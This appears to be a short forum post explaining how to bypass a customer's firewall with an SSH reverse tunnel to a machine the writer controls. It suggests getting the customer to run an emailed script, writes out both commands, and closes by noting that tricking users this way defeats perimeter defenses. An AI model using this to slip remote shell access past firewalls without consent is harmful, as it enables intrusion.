Say you have a customer that has a firewall, but you need to ssh into their box and you can't mess with firewall (poking holes through it, etc.) If you can convince them to run a script you email to them or get to them someway, you can get a shell easily.
local: (the customer's machine, which is behind the firewall)
remote: a box you have a shell on already
both the local and remote computers must be running sshd (ports do not matter, but you will need root to listen on a port lower than 1024)
here is the line to execute on the local computer:
ssh -nNT -R 1100:local:22 remote
you are ssh'ing from the local computer, past the firewall and into the computer you control. The 'n' option tells ssh to disregard stuff that comes in on stdin (we won't be sending local stdin over the wire, thus send it to /dev/null. The 'N' tells ssh to setup the tunnel but do not associate it with a command stream. 'T' means "do not give me a tty on the remote end". When the above command is run from a shell on the local computer, the shell will hang (after asking for login credentials) and no just a tunnel for other ssh sessions coming in from the other end. It will need to run during the entire session. Now from the remote computer you can simply ssh as such:
ssh localhost -p 1100 -l username
now you should have a shell on the local computer and have essentially defeated the firewall. For those of you reading this and wondering "Wow, someone can generate syn packets into my network, by tricking a user into executing some code, thus defeating my outer defenses.", you would be correct!